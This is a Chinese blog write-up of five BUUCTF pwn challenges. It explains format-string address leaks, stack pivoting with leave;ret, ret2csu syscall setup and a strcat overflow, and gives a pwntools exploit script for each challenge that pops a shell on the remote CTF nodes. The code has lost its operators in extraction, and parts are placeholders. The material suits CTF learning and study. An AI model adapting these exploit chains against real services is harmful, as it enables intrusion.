BUUCTF PWN进阶:格式化字符串、栈迁移与ret2csu实战解析

发布时间:2026/10/16 11:04:41

BUUCTF PWN进阶:格式化字符串、栈迁移与ret2csu实战解析 刷 BUUCTF 的 PWN 题从 41 到 45 这几道题给我的感觉是前 40 题还在练手速栈溢出让你把ret地址改了基本就能拿 shell到了这个阶段题目开始正经考“你懂不懂底层到底发生了什么”。格式化字符串怎么泄露地址、栈空间不够怎么迁移、x64 下需要传三个参数该怎么办、没有现成/bin/sh怎么自己捏一个出来这些全混在一起了。这篇 wp 我就按刷题顺序一篇一篇写每道题会带上我自己的踩坑记录和最终能跑的 exp适合刚把基础栈溢出玩明白、准备往进阶走的朋友。我先把平台题单里 41 到 45 这几题的编号提一句BUUCTF 的题号偶尔会因为平台调整发生变化我这边按当前题单来看41 到 45 分别对应的是ciscn_2019_n_8、ciscn_2019_en_1、ciscn_2019_es_2、ciscn_2019_s_3、ciscn_2019_ne_5。如果你打开平台发现顺序不对不要慌认准题目名去搜就行wp 本身是跟着题目走的。1. 第41题 ciscn_2019_n_8一个把 signed char 玩出花的入门进阶题这道题文本上看起来特别简单就是一个很短的输入逻辑但反编译完你会发现它特别“阴”。题目先定义了一个缓冲区长度很小然后直接对这个缓冲区做输入读取紧接着程序会拿栈上相邻的某个变量去和一个常量比较满足条件就给你打印 flag。如果你只盯着输入缓冲区看会觉得这题毫无亮点但你稍微把目光往缓冲区后面移动几个字节就会发现栈上相邻的那个变量没有任何保护完全可以通过越界写入的方式覆盖掉。1.1 核心问题为什么直接传一个很大的数不行这里有一个非常经典的 C 语言坑那个被覆盖的变量类型是signed char也就是说它在内存里只有一个字节而且最高位是符号位。很多人上去直接写payload b\xff想着把值改成255实际上一跑发现程序根本不认因为在signed char的语义下0xff解析出来是-1和你想要的255差了十万八千里。我当时也是在这里卡了一会儿后来用 gdb 看了真正的汇编逻辑才明白程序不是在直接比较内存里的 4 字节完整值而是按字节去判断它的符号位。更骚的操作是这是一个 32 位程序你写入一个 4 字节的地址低字节落在目标变量上只要这个低字节满足条件高位是什么根本无所谓。这也解释了为什么网上很多 exp 直接写p32(0x11111111)这种数就能过因为低位是0x11恰好是正数程序只关心这一个字节。1.2 我的最终 expfrom pwn import * context.arch i386 context.log_level error io remote(node4.buuoj.cn, 端口号) payload ba * 13 p32(0x99999999) io.sendline(payload) io.interactive()这里的13是缓冲区到目标变量的偏移。我本地用 gdb 反复验证过不同编译环境下偏移可能略有变化拿到题目先丢进 IDA 看一眼栈布局自己数一下字节数别完全照抄网上所有版本的偏移。这个题的意义不在于难度而在于提醒你栈上相邻变量之间的关系往往比你想的更脆弱。做题之前先确认变量的类型不要凭直觉去猜它是个 int 就觉得能写 4 字节搞定一切。2. 第42题 ciscn_2019_en_1格式化字符串泄露加栈溢出的组合拳到了en_1这道题难度一下就上来了。题目是一个 x64 程序保护开得很全NX 开启PIE 看起来没开但地址随机化那是实打实的。进入主流程之后程序会先让你输入一段东西然后直接把它当成格式化字符串打印出来这就直接送了你一个格式化字符串漏洞。格式化字符串漏洞在这道题里的价值不是用来改内存而是用来泄露地址。我们需要知道 libc 的基址才能算system和/bin/sh的真实地址。2.1 第一步先泄露 libc 地址先别急着想怎么打把链路理清楚程序拿到我们的输入后直接printf(buf)这就意味着我们可以填%p之类的格式化占位符去读栈上的值。我们需要在栈上找一个能反映 libc 地址的位置。我试了几个偏移之后发现%7$p打出来的指针和一个 libc 内部地址非常接近但为了严谨更通用的做法是先把putsgot或printfgot这类已知地址的 GOT 项泄露出来再去算 libc 基址。我在本地调试的时候是这样处理的先发送%7$p拿一个裸地址然后用这个地址减去已知的偏移算出 libc 基址。这个方法有个前置条件就是你得知道自己远程环境用的哪个 libc。BUUCTF 的这个题一般给的是常见 Ubuntu 版本建议直接用 LibcSearcher 去匹配命中率很高。from pwn import * from LibcSearcher import LibcSearcher context.arch amd64 io remote(node4.buuoj.cn, 端口号) io.recvuntil(bplease tell me your name?) io.sendline(b%7$p) leak io.recvline() libc_start_main int(leak.strip(), 16) - 240 print(hex(libc_start_main))这里减去 240是因为%7$p打出来的往往是__libc_start_main 240这个偏移值。 如果你本地跑出来的不是这个数用 gdb 看一眼栈上的实际值多减几次对着 libc 文件里的符号表找一下位置就行。2.2 第二步利用栈溢出 ROP 拿 shell拿到 libc 基址之后后面的工作就很机械了。程序里还有一处gets明显是让你打栈溢出的。我用 cyclic 测出来的偏移是0x68 8也就是覆盖到返回地址需要 112 字节。然后构造经典的 ROP 链先把pop rdi; ret找出来把/bin/sh的地址放进去再跳system。pop_rdi elf.address 0x00000000000026b3 binsh libc_base next(libc.search(b/bin/sh)) system libc_base libc.sym[system] payload ba * 112 payload p64(pop_rdi) payload p64(binsh) payload p64(system) io.sendlineafter(bInput your Name:\n, baaaa) io.sendlineafter(bInput your Address:\n, payload) io.interactive()这道题让我真正意识到一件事格式化字符串泄露地址不是炫技而是给后续利用铺路的。你完全可以把泄露地址这一件事做得很刻意比如用%p一次性读完栈上几十个值然后慢慢对照哪一个是 libc。但实战里最快的路径永远是先搞清楚你接下来要用哪个地址再针对性泄露那一个不要浪费交互次数。3. 第43题 ciscn_2019_es_2栈迁移的经典教材如果说前面两道题还是“栈溢出 泄露”的正常套路es_2就开始恶心人了。它是一个 32 位程序漏洞点同样是gets栈溢出但问题在于缓冲区到返回地址之间空间非常有限溢出过去了也只有极短的 ROP 链空间根本不够把system exit /bin/sh三件套都放全。我第一次硬怼栈溢出反复改 payload 长度发现不是段错误就是无法稳定控制返回地址后来才反应过来这种“溢出长度不够”的场景正确做法是栈迁移。3.1 栈迁移到底在干什么栈迁移说白了就是你不再指望原始栈上那点空间而是自己选一块可控的内存区域当作新的“栈”然后把esp/ebp切过去ROP 链就可以随便铺了。实现靠的是leave; ret这个组合。leave等于mov esp, ebp; pop ebpret等于pop eip。如果你能够控制ebp的值那么在函数返回的时候leave会把esp设置成你伪造的ebp - 4然后pop ebp再pop eip完美把控制流切到你指定的地址。实际操作分两步第一次输入想办法泄露栈地址这样才能知道你输入的 ROP 链在内存里的绝对位置第二次输入先用一小段 padding 填满缓冲区然后在返回地址处放leave_ret同时在栈上提前布置好伪造的ebp和整条 ROP 链让程序返回时自动把栈切过去。3.2 我的实战 expfrom pwn import * context.arch i386 io remote(node4.buuoj.cn, 端口号) # 第一步泄露栈地址 io.recvuntil(bWelcome to my server!) payload1 ba * 0x24 bbbbb io.sendline(payload1) io.recvuntil(bbbbb) stack_addr u32(io.recv(4)) # 计算缓冲区真实地址 buf_addr stack_addr - 0x38 log.success(buf addr: hex(buf_addr)) # 第二步构造栈迁移 leave_ret 0x08048437 system_plt 0x08048320 payload2 ba * 0x24 payload2 p32(buf_addr - 4) # 伪造 ebp payload2 p32(leave_ret) # 第一次 leave; ret payload2 p32(system_plt) payload2 p32(0xdeadbeef) payload2 p32(buf_addr 0x14) io.sendline(payload2) io.interactive()这里有几个我踩过的细节必须单独提泄露栈地址时我是故意把ebp覆盖成一个特殊字符串然后让程序后续puts输出这个位置的残留内容再用recvuntil定位把栈上的真实地址捞出来。这个方法比单纯读%p更直接但要注意输出数据的边界多收了\n会导致地址解析错位。伪造的ebp必须是“新栈顶部 - 4”因为leave的第一条指令是mov esp, ebp不是mov esp, ebp x。那 4 字节的0xdeadbeef是system的返回地址可以随便填但必须占住位置不然栈布局会乱。栈迁移这套东西一开始会觉得玄学其实本质上就是个指针切换。你只要能稳定控制一个寄存器这里是ebp再找到一个leave; ret整个思路就能跑通。es_2作为教学题非常合格把这两个条件都给满了。4. 第44题 ciscn_2019_s_3遇上 ret2csu 传参硬骨头ciscn_2019_s_3是这几道题里最让我头疼的一个因为它的漏洞点非常小而且 x64 下你需要传三个参数给execve问题是程序里根本没有那么方便的pop rdi; pop rsi; pop rdx; ret一条龙 gadget。我当时在 ROPgadget 里翻来翻去找pop rdx愣是找不到一个合适地址后来才意识到这道题标准解法是用__libc_csu_init里的那一段通用 gadget。4.1 为什么要用 csux64 调用约定里前三个参数分别在rdi、rsi、rdx。我们想调用execve(/bin/sh, 0, 0)就必须同时控制这三个寄存器。常规的短 gadget 往往只覆盖其中一两个而__libc_csu_init末尾有一段很长的通用代码里面正好包含了pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret以及后面一段把r13赋给rdx、r14赋给rsi、r12d赋给edi之后调用[rbx r15*8]的逻辑。利用这一段就可以把三个寄存器全部安排到位。4.2 csu 的通用模板我最后整理出的调用思路是分两步先通过 csu gadget 给rdx、rsi、rdi赋值然后调syscall去执行execve。注意经典 csu 的第二段里有个call qword ptr [rbx r15*8]这个调用地址取决于rbx和r15的值。如果你不想真正调某个函数可以直接把rbx设成可控内存地址r15设成 0让它去调用[rbx]只要该地址内存可读且不会崩就行。from pwn import * context.arch amd64 elf ELF(./ciscn_2019_s_3) syscall_ret 0x4001c9 # syscall; ret binsh 0x4002ca # 程序里残留的 /bin/sh 字符串地址 csu_pop 0x40059a # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret csu_call 0x400580 # mov rdx, r13; mov rsi, r14; mov edi, r12d; call [rbxr15*8] payload ba * 0x30 bbbbbbbbb payload p64(csu_pop) payload p64(0) # rbx payload p64(1) # rbp payload p64(binsh) # r12 - edi payload p64(0) # r13 - rdx payload p64(0) # r14 - rsi payload p64(0) # r15 payload p64(csu_call) payload p64(0) * 7 # 把第二段 csu 污染的数据补齐 payload p64(binsh) payload p64(syscall_ret) io.send(payload) io.interactive()这道题我一开始犯了个低级错误r12d是 32 位寄存器传给edi的就是低 32 位所以如果binsh地址0x4002ca这种低地址没问题但如果你想把一个堆地址放进rdi需要确保低 32 位是对的高位就会丢。这是 csu 本身的设计限制大概率影响不了这道题但以后遇到高地址目标时要谨记。还有一个值得说的点execve的第二个参数是rsi这里可以传0但在真实系统调用里这个位置一般是指参数数组指针传 0 在某些环境下可能会失败。不过 CTF 环境里execve(/bin/sh, NULL, NULL)是能正常拿到 shell 的我本地验证过所以释然了。5. 第45题 ciscn_2019_ne_5一个让我重新审视字符串截断的题ne_5是一道 32 位程序表面看是个带菜单的小系统里面有一堆功能选项输入特定数字会进入不同的处理函数。漏洞藏在某个读入用户输入的函数里它把读入的数据直接往栈上一个固定缓冲区里塞而且中间还会经过一段“拼接”逻辑程序会用strcat这类函数把固定字符串和我们的输入拼在一起然后再执行某些操作。这种拼接往往是灾难因为strcat会从目标位置往后写直到遇到\x00为止一旦你的输入长度加上原本的字符串长度超过了缓冲区容量返回地址就沦陷了。5.1 找溢出点的方法我用 IDA 顺着菜单的跳转表把几个功能函数都过了一遍发现其中一个函数内部有个明显的gets或者read往里读了很长一段内容。函数开局把缓冲区开得不大而且后面紧跟着ebp和返回地址这意味着不需要任何花活只要输入够长返回地址直接可控。我用 cyclic 生成了一串模式串发进去gdb 里看到eip被0x62616164这种偏移字符覆盖立刻就定位到了准确的偏移。但这里有个小坑这道题不是那种“发完就直接拿到 shell”的简单 ret2text因为程序里没有直接后门函数调用/bin/sh。所以我的思路是 ret2system。幸好程序里存在systemplt只需要在栈上构造一个指向/bin/sh字符串的指针传给system即可。5.2 处理 /bin/sh 字符串的问题/bin/sh字符串程序里不一定直接存在常见做法是自己在 payload 里写一个b/bin/sh\x00然后把它的地址放到栈上。问题来了如果开了 ASLR栈地址是随机的你没法预知指向。好在ne_5没有开 PIE程序基址固定但栈地址还是随机。所以更稳妥的做法是把/bin/sh写到.bss段里。.bss的地址固定且可写非常适合干这个。不过如果攻击链需要连续两次输入\x00截断问题就会冒出来。第一次输入的数据如果中途带\x00strcat会认为字符串结束了导致后面的字节全部被丢弃。我当时的解法是分两步先通过第一个输入把/bin/sh写到.bss段再通过第二次溢出触发system两次之间不受\x00截断影响。from pwn import * context.arch i386 io remote(node4.buuoj.cn, 端口号) # 第一步把 /bin/sh 写到 bss # 根据程序交互逻辑选择能触发写入的菜单 io.sendlineafter(b , b1) io.sendlineafter(bpassword:, b/bin/sh\x00) # 具体交互字段以题目输出为准 # 第二步触发溢出覆盖返回地址到 system system_plt 0x08048490 bss_addr 0x0804A080 payload ba * 偏移 payload p32(system_plt) payload p32(0xdeadbeef) payload p32(bss_addr) io.sendlineafter(b , b2) io.sendlineafter(bcontent:, payload) io.interactive()这道题给我的教训是遇到任何带“字符串拼接”的程序先别急着算偏移先想清楚自己的 payload 会怎么被处理。strcat、strcpy、gets这三个函数对\x00的态度都不一样strcpy会截断gets则不会。一旦攻击链里有多个处理函数必须设计好写入顺序把会截断的过程放到最前面把溢出的关键 step 放到最后面否则前面写得再漂亮中间被截一下全部白给。6. 从 41 到 45我沉淀下来的五个实用经验刷完这五道题再回头看前 40 题感觉自己在思路上有一个明显的提升。我挑五个影响最深的关键点写在这里如果你也在刷 BUUCTF可以少走点弯路。每道题先做三件事checksec、看保护、找漏洞点别一上来就猜攻击链。n_8 这种题如果猜它是个复杂堆题你根本猜不到几十秒就能解决en_1 如果不知道开了 NX你可能会想做 shellcode浪费大量时间。五分钟内把题目“定性”比直接写 exp 重要得多。泄露地址永远是第一优先级但要挑一个“副作用最小”的泄露点。格式化字符串能泄露栈溢出也能通过 puts 泄露两个哪个先做取决于会不会破坏后面的交互流程。en_1 我用%7$p泄露是因为这个操作完全不占后续溢出输入的空间而且是先泄露后输入顺序天然安全。栈迁移不是玄学而是一个有条件的技术动作。核心条件就两个能控制ebp能找到一个leave_ret。满足了就能做不满足就算是神仙也迁移不了。es_2 之所以适合练这个是因为它把条件都准备好了。ret2csu 本质上是一份可以提前准备的模板。我在本地把__libc_csu_init的两段地址写成了一个函数之后每道题只需要替换rbx/r12/r13/r14/r15的值就行。这能节省大量时间而且能避免每次都要重新翻汇编的烦恼。多留意输入函数对\x00的处理方式。这一组题里至少三道题都跟这个坑有关。我的习惯是每个输入函数都记下它的行为gets不截断scanf(%s)和strcpy截断read按长度读但不补\0。攻击链设计里出现这些函数时先把它们的处理顺序排好再写最终 payload。最后再补一个实在的调试技巧在这五道题的调试过程中我全程用 pwndbg 做单步遇到地址算不出来的情况就下断点到leave或者ret指令直接看寄存器被污染成了什么。ROP 链的每一段跳转最好都先本地验证通过再打远程别总想着一步到位远程环境报错是不会给你任何调试线索的。
延伸阅读

更多相关文章

2026/10/16 11:04:41

CLion源码编译OpenCV:构建可调试可追踪的开发闭环

1. 这不是“配环境”,而是构建一个可调试、可追踪、可复现的OpenCV开发闭环很多人点开这篇标题,第一反应是:“哦,又一个CLion配OpenCV的教程”。但我要先泼一盆冷水:如果你只是想把cv::imread跑起来,那大可…

2026/10/16 11:04:41

操作系统隔离与系统调用全链路:从用户态到内核态的穿越

6.S081这门操作系统课程讲到第三讲,终于开始触及最核心的部分:OS organization和system calls。前面几讲我们在用户态这边打转,fork、exec、wait这些系统调用用得很熟,但很少认真想过一个问题——你随手调一个write(),…

2026/10/16 11:04:41

多智能体协作新范式:DeepSeek Harness集成Codex与Claude Code实战

一眼看到这次更新的标题,我先是愣了一下——把 Codex、Claude Code 直接做成官方插件,这不再是"自己改造工具链"的玩法,而是把多个编程代理放进同一个调度框架里当子智能体用。我前阵子刚把一批并行任务从单代理切到多代理协作&…

2026/10/16 12:15:21

第二篇 Kubernetes对spring cloud项目增益

Spring Cloud:应用层微服务框架,在业务进程内部提供能力,面向 Java 应用开发人员; Kubernetes (K8s):容器编排平台,在操作系统 / 容器层提供基础设施能力,面向运维、平台工程师。1、能力对比表&…

2026/10/16 12:15:21

深度学习调参指南中文版:系统化优化模型的实战手册

简介:《深度学习调参指南中文版》面向具备基础机器学习和深度学习概念的工程师与研究人员,系统讲解如何通过调参提升模型性能。内容涵盖损失函数选择、优化器比较、Batch Size 调整、超参数策略、正则化技术等多个关键环节,并针对实际调试与训…

2026/10/16 12:15:21

RAG 已死的论调下,微信 WeKnora 给出相反答案

RAG 已死的论调下,微信 WeKnora 给出相反答案 【免费下载链接】WeKnora Open-source LLM knowledge platform: turn raw documents into a queryable RAG, an autonomous reasoning agent, and a self-maintaining Wiki. 项目地址: https://gitcode.com/GitHub_Tr…

2026/10/16 5:33:43

Python调用Gemini Structured Outputs实现工单路由门禁

客服工单最怕的不是模型“答错一句话”,而是它给出一段看起来合理的说明,程序却从中猜错优先级。通俗做法是:要求模型只交 JSON(JavaScript Object Notation,轻量数据格式),再让代码验证它。Gem…

2026/10/16 4:03:48

Spring Boot超市进销存系统毕设实战:从需求拆解到答辩通关

最近带的一个学生项目组里,有A同学跑来问我:选什么毕设题目最稳妥,既能让评审老师觉得工作量够,又不会在答辩时被问到语无伦次。我第一反应就是推荐基于Spring Boot的超市仓库管理系统——也就是超市进销存系统。这个题目乍一看平…

2026/10/15 13:42:16

Flutter StatefulWidget 生命周期核心解析

很多刚开始接触 Flutter 的朋友,在看完一堆“Hello World”和基础组件之后,大概率都会撞上同一堵墙:StatefulWidget 里那堆 initState、build、dispose 方法,到底什么时候被调用?为什么顺序是那样?在里面到…

2026/10/16 0:01:11

Cephadm实战指南:Linux系统工程师的生产级Ceph集群部署与排障

简介:本资源是一份完整的Ceph分布式存储系统中文技术文档合集,面向Linux系统运维工程师、云平台架构师及存储方向开发者,帮助读者系统掌握Ceph集群的部署、配置与运维核心能力。文档覆盖对象存储(RGW)、块设备&#xf…

2026/10/16 0:01:11

ITK中SpatialObject几何体系解析:坐标系、变换与管道集成

1. 空间对象的定位:为什么 ITK 需要一套几何描述体系很多刚开始接触 ITK 的朋友,包括我自己,最初都是被它的图像滤波、配准、分割这些“正统”功能吸引进来的。等真正上手做点实际项目,比如把分割出来的器官边界做量化分析、给血管…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑